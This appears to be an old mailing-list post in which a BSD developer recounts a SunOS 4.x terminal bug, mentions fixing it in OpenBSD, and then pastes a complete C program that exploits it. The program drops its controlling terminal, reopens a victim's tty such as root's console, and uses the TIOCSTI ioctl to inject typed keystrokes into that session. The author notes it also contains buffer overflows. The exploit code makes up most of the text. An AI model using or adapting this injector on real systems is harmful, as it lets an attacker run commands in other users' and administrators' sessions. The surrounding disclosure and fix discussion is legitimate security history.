The bug worked in SunOS 4.0 and 4.1, and if I remember correctly it
was fixed in 4.1.3. What you basically did was this:
- lose your tty association
- open the console device you want to attack (ie. say, root is
logged into the console)
- fd = open("/dev/console", 3); close(fd);
- now you have just gained tty association.
- fd = open("/dev/tty", O_RDWR). This is the same as having opened
/dev/console, but this time I have permission to read & write.
- ioctl(fd, TIOCSTI, &c) ...
Of course, TIOCSTI simulates console input.
That this basic bug is still around is pretty dissapointing. I
reported the bug to Sun, but I guess they never told anyone else about
it, and hence it did not get fixed in the standard BSD code.
I'm a little dissapointed in myself for not having looked to see if
this bug still existed. Of course, the routed problems still exist
too, and that bug is about as old. I fixed it in OpenBSD yesterday.
Any vn_open() with FREAD|FWRITE == 0 fails with EINVAL.
here's the program I wrote a VERY VERY long time ago. (Neato, it has
some little buffer overflows in it ;-)
----------------------------------------
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/signal.h>
#include <sys/file.h>
#include <stdio.h>
#define ECHAR ((unsigned char)0x1d)
unsigned char tty[80];
int fd, p[2];;
int v = 1, sc = 1;
/* ----------------------------------------------------------------------
* MAIN:
* ------------------------------------------------------------------- */
main(argc, argv)
int argc;
char **argv;
{
int i, j, x;
unsigned char c;
if( argc<2 ) {
fprintf(stderr, "Usage: %s [-v] tty\n", argv[0]);
exit(0);
}
if( !strcmp(argv[1], "-v") ) {
sprintf(tty, "/dev/%s", argv[2]);
v = 1;
} else sprintf(tty, "/dev/%s", argv[1]);
printf("The escape character is ^]\n");
status(0);
pipe(p);
if( fork() == 0) {
close(p[1]);
x = getpgrp(0);
signal(SIGTTIN, SIG_IGN);
signal(SIGTTOU, SIG_IGN);
ioctl(open("/dev/tty",0), TIOCNOTTY, 0);
if( open(tty, 3) <0)
open(tty, O_WRONLY);
fd = open("/dev/tty", 2);
setpgrp(0,x);
while(1) {
x = read(p[0], &c, 1);
if(x==1) ioctl(fd, TIOCSTI, &c);
if(x==0) exit();
}
} else {
close(p[0]); /* me */
echo(0);
while( read(0, &c, 1) == 1) {
c &= 0x7f; /* kill parity bit */
if(c==ECHAR) {
if( read(0, &c, 1) == 1) switch( c&0x7f ) {
case 'q':
case 'Q': die();
break;
case 'c':
case 'C': sc = !sc;
status(1);
break;
case 'v':
case 'V': v = !v;
status(1);
break;
case 's':
case 'S': status(1);
break;
case '?':
case 'h':
case 'H': status(1);
printf("\n\r? - this screen\n\r");
printf("q - quit\n\r");
printf("v - verbose\n\r");
printf("c - control characters\n\r");
printf("s - status\n\r");
break;
default: send(ECHAR);
send(c);
break;
}
else die();
} else send(c);
}
die();
}
}
/* ----------------------------------------------------------------------
* SEND:
* ------------------------------------------------------------------- */
send(c)
unsigned char c;
{
unsigned char c2;
c &= 0x7f;
write(p[1], &c, 1);
if(v) {
if( c==' ' || c=='\t' ) { /* tab and space */
write(1, &c, 1);
} else if( c=='\r' || c=='\n' ) { /* return */
write(1, "\r\n", 2);
} else if( c<' ' ) { /* control characters */
if(sc) {
write(1, "^", 1);
c2 = c & 0x7f | 0x40;
write(1, &c2, 1);
}
} else { /* normal characters */
write(1, &c, 1);
}
}
}
/* ----------------------------------------------------------------------
* ECHO:
* ------------------------------------------------------------------- */
echo(n)
int n;
{
struct sgttyb ttyb;
ioctl(0, TIOCGETP, &ttyb);
if(n) ttyb.sg_flags = (ttyb.sg_flags | ECHO) & ~RAW;
else ttyb.sg_flags = (ttyb.sg_flags & ~ECHO) | RAW;
ioctl(1, TIOCSETP, &ttyb);
}
/* ----------------------------------------------------------------------
* DIE:
* ------------------------------------------------------------------- */
die()
{
echo(1);
exit(0);
}
status(x)
int x;
{
if(x) printf("\n\r");
printf("verbose:%d control:%d\n\r", v, sc);
}